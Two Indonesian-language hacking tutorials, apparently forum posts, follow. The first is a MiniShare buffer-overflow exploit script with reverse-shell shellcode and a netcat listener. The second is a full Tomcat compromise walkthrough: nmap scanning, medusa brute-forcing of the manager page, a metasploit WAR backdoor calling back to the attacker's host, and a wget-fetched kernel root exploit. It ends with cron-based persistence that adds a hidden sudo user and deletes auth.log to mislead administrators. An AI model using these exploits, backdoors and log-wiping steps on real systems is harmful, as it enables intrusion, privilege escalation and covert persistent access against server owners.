"\x9f\x05\x25\x18\x17\x7e\x5b\xb8\xd8\x55\xdf\xc8\x92\xf7\x76"
"\x41\x7b\x62\xcb\x0c\x7c\x59\x08\x29\xff\x6b\xf1\xce\x1f\x1e"
"\xf4\x8b\xa7\xf3\x84\x84\x4d\xf3\x3b\xa4\x47";


Selesai. Sudah tidak ada karakter buruk lagi di dalam shellcode kita. Sekarang masukan shellcode ini ke dalam buffer kita.

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
buffer+= "\x90" * 16
buffer+= ("\xd9\xea\xba\xb5\xcf\x9b\x38\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x83\xc0\x04\x31\x50\x15\x03\x50\x15\x57\x3a\x67\xd0\x1e"
"\xc5\x98\x21\x40\x4f\x7d\x10\x52\x2b\xf5\x01\x62\x3f\x5b\xaa"
"\x09\x6d\x48\x39\x7f\xba\x7f\x8a\x35\x9c\x4e\x0b\xf8\x20\x1c"
"\xcf\x9b\xdc\x5f\x1c\x7b\xdc\xaf\x51\x7a\x19\xcd\x9a\x2e\xf2"
"\x99\x09\xde\x77\xdf\x91\xdf\x57\x6b\xa9\xa7\xd2\xac\x5e\x1d"
"\xdc\xfc\xcf\x2a\x96\xe4\x64\x74\x07\x14\xa8\x67\x7b\x5f\xc5"
"\x53\x0f\x5e\x0f\xaa\xf0\x50\x6f\x60\xcf\x5c\x62\x79\x17\x5a"
"\x9d\x0c\x63\x98\x20\x16\xb0\xe2\xfe\x93\x25\x44\x74\x03\x8e"
"\x74\x59\xd5\x45\x7a\x16\x92\x02\x9f\xa9\x77\x39\x9b\x22\x76"
"\xee\x2d\x70\x5c\x2a\x75\x22\xfd\x6b\xd3\x85\x02\x6b\xbb\x7a"
"\xa6\xe7\x2e\x6e\xd0\xa5\x26\x43\xee\x55\xb7\xcb\x79\x25\x85"
"\x54\xd1\xa1\xa5\x1d\xff\x36\xc9\x37\x47\xa8\x34\xb8\xb7\xe0"
"\xf2\xec\xe7\x9a\xd3\x8c\x6c\x5b\xdb\x58\x22\x0b\x73\x33\x82"
"\xfb\x33\xe3\x6a\x16\xbc\xdc\x8a\x19\x16\x6b\x8d\x8e\x35\x7c"
"\x1b\x4e\x2e\x7f\x1b\x41\xf2\xf6\xfd\x0b\x1a\x5f\x56\xa4\x83"
"\xfa\x2c\x55\x4b\xd1\xa4\xf6\xde\xbe\x34\x70\xc3\x68\x63\xd5"
"\x35\x61\xe1\xcb\x6c\xdb\x17\x16\xe8\x24\x93\xcd\xc9\xab\x1a"
"\x83\x76\x88\x0c\x5d\x76\x94\x78\x31\x21\x42\xd6\xf7\x9b\x24"
"\x80\xa1\x70\xef\x44\x37\xbb\x30\x12\x38\x96\xc6\xfa\x89\x4f"
"\x9f\x05\x25\x18\x17\x7e\x5b\xb8\xd8\x55\xdf\xc8\x92\xf7\x76"
"\x41\x7b\x62\xcb\x0c\x7c\x59\x08\x29\xff\x6b\xf1\xce\x1f\x1e"
"\xf4\x8b\xa7\xf3\x84\x84\x4d\xf3\x3b\xa4\x47")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


9. Menguji keberhasilan ekspoit
Restart kembali minishare, dan kirim buffer ini. Sebelum mengirim buffer, kita akan menggunakan netcat untuk mendenganrkan setiap koneksi yang masuk. Dalam tutorial kali ini, saya membuat eksploit untuk menghubungi saya kembali pada port 4444. Sehingga saya gunakan netcat untuk mendegarkan setiap koneksi yang masuk ke port 4444 dengan perintah

Code:
root@red-dragon:~# nc -l 4444

Kembali ke OllyDbg. Set breakpoint dengan alamat JMP ESP. Kirim buffer kita, dan kembali lagi ke OllyDbg. Disini terjadi crash system, tekan F7 untuk melanjutkan ke alamat eksekusi selanjutnya, kemudian tekan kembali tombol F9 atau tombol play. Kembali lagi ke netcat, dan ini yang akan anda saksikan.


Kita berhasil masuk ke Command Prompt melewati antivirus dan firewall.

tomcat didunia IT


dari judulnya ane rasa memang sangat menarik, betapa kita tau beberapa waktu ini , Indonesia di kejutkan dengan adanya tomcat. Serangga yang mampu memberikan rasa melepuh terhadap kulit manusia. Ok ternyata tomcat seperti ini juga terdapat di dalam dunia IT. vulnerability yang sangat berbahaya .. Pada kesempatan ini ane mau membahas sebuah simulasi hacking yang ane beri judul ..
“TOMCAT DEADLY BITE”
PRESIMULATION
= apa itu tomcat ?
tomcat adalah web server yang didevelop oleh apache group. Biasanya tomcat di install berpasangan dengan web server apache untuk di jadikan web proxy.
Ok spesifikasi simulasi ini
1. Information gathering
2. Bruteforcing
3. Backdooring ( exploitation )
4. Privilage Escalation
5. Maintaining access
Ok kita mulai saja

1. Information gathering

Untuk mengumpulkan informasi kita gunakan nmap.. kali ini saya mencoba untuk melakukan nmap untuk melihat berapa host yang up

karena sebagai simulator tentunya saya sudah mempersiapkan target… kali ini target kita ada ip 192.168.1.6 berbasis sistem ubuntu server
perhatikan pada baris
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Sudah terlihat server target memiliki service apache tomcat running di port8080

2. Bruteforcing

Pada dasarnya tomcat memiliki halaman administrator yang akan memungkinkan kita mengakses panel adminnya. untuk itu saya gunakan metode bruteforcinguntuk mendapat akses tersebut. Kali ini saya pakai medusa. Artikel tentang bruteforcing medusa sudah banyak saya bahas.
Karena medusa membutuhkan user.list dan pass.list maka saya telah membuatnya terlebih dahulu …
root@eichel:~# cat usertomcat
 tes
 test
 admin
 money
 administrator
 dodol
 admin1
 admin123
 admin1234
root@eichel:~# cat passwordtomcat
 test
 tes
 monkey
 manager
 admin
 manager
 command
 tes1
 admin123
ok berbasis dua file tersebut saya mencoba melakukan bruteforcing …dengan asumsi
(-M) modul = http
 (-h) host, ip atau nama
 (-U) usename.lst ( kamus )
 (-P) password.lst ( kamus )
 (-e ns) [n] =coba tanpa password, [s] kemungkinan password = username
 (-n) port
 (-m) direktori path ( manager/html adalah default admin page dari tomcat )
medusa tomcat bruteforcing
dari sekian banyak percobaan ternyata salah satu sukses..
ok kita dapatkan sukses pada user : admin dan pass : admin
kita buka di browser 192.168.1.6:8080
kemudian masuk ke 192.168.1.6:8080/manager/html masukan user:pass = admin:admin
ok anda berhasil memasuki panel admin tomcat.

3. Backdooring ( exploitation )

Langkah selanjutnya attacker akan membuat trigered payload untuk membuat koneksi ke shell target. Hmm tujuan agar kita dapat mengekusi langkah selanjut dengan mulus dan perlu memasuki system korban walau hanya dengan user non aktif. Dalam hal ini saya memakai metasploit :)
ingat tadi seperti yang kita tahu bersama bahwa sistem target menggunakan linux x86 karena itu payload saya atur ke linux x86 dengan LHOST = ip attacker ( 192.168.1.10 ) dan menggunakan port 4545 untuk membangunbind connection reverse tcp
PREPARING FOR LISTENER
ok kita buka msfconsole kita kemudian menggunakan exploit/multi/handlerdengan opsi-opsi yang dicocokan dengan backdoor.war yang telah kita buat pada langkah sebelumnya …
hmm pastikan opsi – opsi sudah benar …
saatnya kita jalankan listener …
UPLOAD BACKDOOR.WAR INTO THE TARGET DIRECTORY
sekarang kita akan mengupload kenadeh.war yang telah kita buat dengan msfpayload tadi .. ok pada panel admin tomcat server target anda sudah seharusnya melihat adanya form upload dengan ekstensi war file. ok kita upload dari dir kita menuju ke dir target. pilih file yang hendak di upload kemudian klik deploy..
jika kita berhasil menguploadnya, war file adalah file ekstrakan seperti halnya zip, rar , dll. sistem tomcat dengan otomatis akan mengekstrak file war dalam hal ini “kenadeh.war” sehingga akan terbentuk sebuah direktori “kenadeh“. Dalam tomcat ini disebut sebagai istilah “deploy
Seperti yang sudah saya jelaskan sebelumnya bahwasanya file war itu adalah file archive.. karena itu kita harus tau nama backdoor triggering yang sebenarnya. Adabaiknya kita ekstrak di host kita terlebih dahulu sehingga kita tahu kita harus memanggil file dengan nama apa.
root@eichel:~# unzip kenadeh.war
 Archive: kenadeh.war
 inflating: META-INF/MANIFEST.MF
 inflating: WEB-INF/web.xml
 inflating: cazyptnwpvlazb.jsp
 inflating: CBMazgyh.txt
hmm perhatikan file dengan ekstensi jsp. disitulah anda akan memanggil backdoor anda… kita tidak perlu mengekstrak file war di server target.. ingat tomcat telah melakukan ekstrak secara otomatis.. karena itu sudah dipastikan file cazyptnwpvlazb.jsp telah berada pada direktori tomcat dan siap diesekusi.
Kehebatan backdoor ini adalah tidak perlu adanya social enggineering karena backdoor tidak perlu diesekusi oleh user sistem target. group nobody/world pun sanggup memicu backdoor. sehingga attacker akan memicu backdoor tersebut dengan mengakses url backdoor maka attacker tidak perlu menunggu lama untuk membuka shell aktif..
http://192.168.1.6:8080/kenadeh/cazyptnwpvlazb.jsp
shell pun terbuka

4. Privilage Escalation

kita ketik “shell” untuk mengakses cmd server… ok sekarang dengan perintah id saya tau bahwa saya menggunakan akses user tomcat , dan gid = tomcat.
okey terlihat gambar di atas bahwa informasi kernel sudah kita dapatkan ,
uname -a
 Linux ubuntu 2.6.35-02063504-generic #201008271919 SMP Fri Aug 27 20:27:22 UTC 2010 i686 GNU/Linux
Untuk mempermudah sya dalam mengeksploitasi maka saya teringat akan postingan om ekawithoutyou mengenai spawning bash pada http://forum.indonesianbacktrack.or.id/showthread.php?tid=2108 yang memungkinkan kita mengaktifkan /bin/bash atau bin/sh. Saya lebih senang dengan bin/bash heheheh
ok dilihat dari kernelnya tampaknya exploit kernel tersebut sangat mudah untuk didapatkan …kita tinggal harus mengupload backdoor tersebut, karenanya saya mencoba mencari direktori yang writetable untuk user tomcat ini..
Kemudian attacker tinggal mengupload exploit dengan fasilitas ‘wget
Sperti pada gambar di atas. attacker mengupload exploit kemudian menambahkan +x pada permission sehingga file tersebut sudah siap di jalankan. Exploit yang di upload ada baiknya sudah di compilasi dari script.c Mengingat tidak semua server memiliki gcc yang terinstall. Sehingga exploit kali ini sudah di kompilasi terlebih dahulu dari script c.
Kemudian attacker hanya tinggal mengesekusi file tersebut …
dan holaaa id=root gid=root ..

5. Maintaining access

Biasanya attacker akan berusaha untuk tidak meninggalkan jejak serta mengecoh sysadmin kemudian membuat dirinya sebuah akses tertentu untuk memasuki system tersebut di lain waktu …
Dalam hal ini saya memberikan sebuah contoh yang dulu sering saya lakukan ketika berhasil melakukan rooting. saya memanfaatkan crontab atau sebuah sistem task yang otomatis berjalan yang dapat ditentukan kapan sistem akan mengesekusinya. Kalau pada sistem windows kita sering mendengar automatic task. Saya akan membuat sebuah script.sh penambahan user.. hmm sebelumnya saya akan mencari tau kira-kira group-group apakah yang memiliki akses sudoers…
root@ubuntu:/var/lib/tomcat6/shared# cat /etc/sudoers
 cat /etc/sudoers
 ...
 #includedir /etc/sudoers.d
# Members of the admin group may gain root privileges
 %admin ALL=(ALL) ALL
 ...
 root@ubuntu:/var/lib/tomcat6/shared#
Ok dilihat dari keterangan pada /etc/sudoers bahwa grou admin adalah group yang memiliki hak “sudoers” , bermodal ini saya akan membuat system.shuntuk keperluan maintaining akses. Attacker biasanya akan memilih dir-dir yang sulit dideteksi .. dan membuat dir tersebut tersamar .. karena itu saya membuat sebuah dir di dalam /etc/perl/CPAN
root@ubuntu:cd /etc/perl/CPAN
root@ubuntu:/etc/perl/CPAN#
hmm setelah kita cukup membuat sebuah direktori yang sulit di deteksi .. saya membuat sebuah 2 buah file script.sh
isinya adalah sebagai berikut …yang pertama saya beri nama auth.sh
useradd admin -G admin -p saOhMg4WOk7iY -d /etc/perl/CPAN/.../.../ -s /bin/bash
sebenarnya isinya simple kok .. yaitu membuat user admin di bawah group sudoers admin dan berhomebase pada /etc/perl/CPAN/…/…/  tipe shell adalah/bin/bash. mungkin anda bertanya dari mana saya dapet ‘saOhMg4WOk7iY‘ itu enskripsi salt agar kita dapat langsung memberi user buatan kita password dalam satu perintah …cara dapetnya
root@eichel:~# perl -e 'print crypt("150787", "salt"),"\n"'
saOhMg4WOk7iY
yang kedua kita beri nama antifor.sh
isinya adalah
#/bin/bash
 rm -rf /var/log/auth.log
 touch /var/log/auth.log
 userdel admin
hmm saya kreasikan dengan menghapus /var/log/auth.log dimana tiap otentifikasi user-user tercatat disana. kemudian membuat auth.log baru serta menghapus user admin. Kedua script tersebut akan kita jadwalkan pada crontab sistem target.
kita buat file crontab yang nntinya akan kita imput kedalam kita beri nama crontab
01 23 1,7,14,21 1-12 * /etc/perl/CPAN/.../..././auth.sh
01 0 2,8,15,22 1-12 * /etc/perl/CPAN/.../..././antifor.sh
file crontab itu menunjukan bahwa sistem secara otomatis akan mengesekusi file auth.sh tiap menit pertama pada jam 23 ( 11 malam ) dan berlaku pada tanggal 1,7,14,21 setiap bulan. baris dua cuma ane bedakan 1 hari sehingga anda tau bahwa user anda siap tiap tanggal tanggal 1,7,14,21 karena besoknya secara otomatis sistem akan menghapus user tersebut. Hal ini akan mengecoh sisadmin sehingga jika sisadmin lengah maka attacker terus mendapatkan akses masuk ssh dengan user privilage sudoers
ok , kita upload semua file tersebut ke dir yang telah kita buat…kebetulan ketiga file telah saya zip
root@ubuntu:/etc/perl/CPAN/.../...# wget http://192.168.1.10/auth.zip
 wget http://192.168.1.10/auth.zip
 --2012-04-12 12:47:38-- http://192.168.1.10/auth.zip
 Connecting to 192.168.1.10:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 852 [application/zip]
 Saving to: `auth.zip'
100%[======================================>] 852 --.-K/s in 0s

2012-04-12 12:47:39 (51.8 MB/s) - `auth.zip' saved [852/852]
Kemudian jgn lupa untuk men-chmod 777 ke seluruh file
langkah terakhir kita aktifkan crontab buatan kita :p
selamat anda telah berhasil melakukan tahap maintaining access …ketika pada waktunya user anda akan aktif ..
root@eichel:~# ssh admin@192.168.1.6
 admin@192.168.1.6's password:
 Added user admin.
tambahan : waktu crontab bisa anda modif.. ya sesuai kebutuhan lah.. siapa tau demi mengkamuflase admin anda menjadwalkan user anda aktif dalam waktu 1 bulan satu kali.
CLEAR LOG
yang perlu di perhatikan disini adalah
1.log tomcat
 root@ubuntu:/var/log/tomcat6# ls
 ls
 catalina.2012-04-11.log catalina.out localhost.2012-04-12.log
 catalina.2012-04-12.log localhost.2012-04-11.log
 root@ubuntu:/var/log/tomcat6# cat localhost.2012-04-12.log
 cat localhost.2012-04-12.log
 Apr 12, 2012 7:04:26 AM org.apache.catalina.core.ApplicationContext log
 ---
 INFO: HTMLManager: undeploy: Undeploying web application at '/kenadeh'
 ---
ok semoga tutorial ini berguna bagi teman-teman semua… akhir kata saya undur diri dari hadapan anda .. salam backtrackers…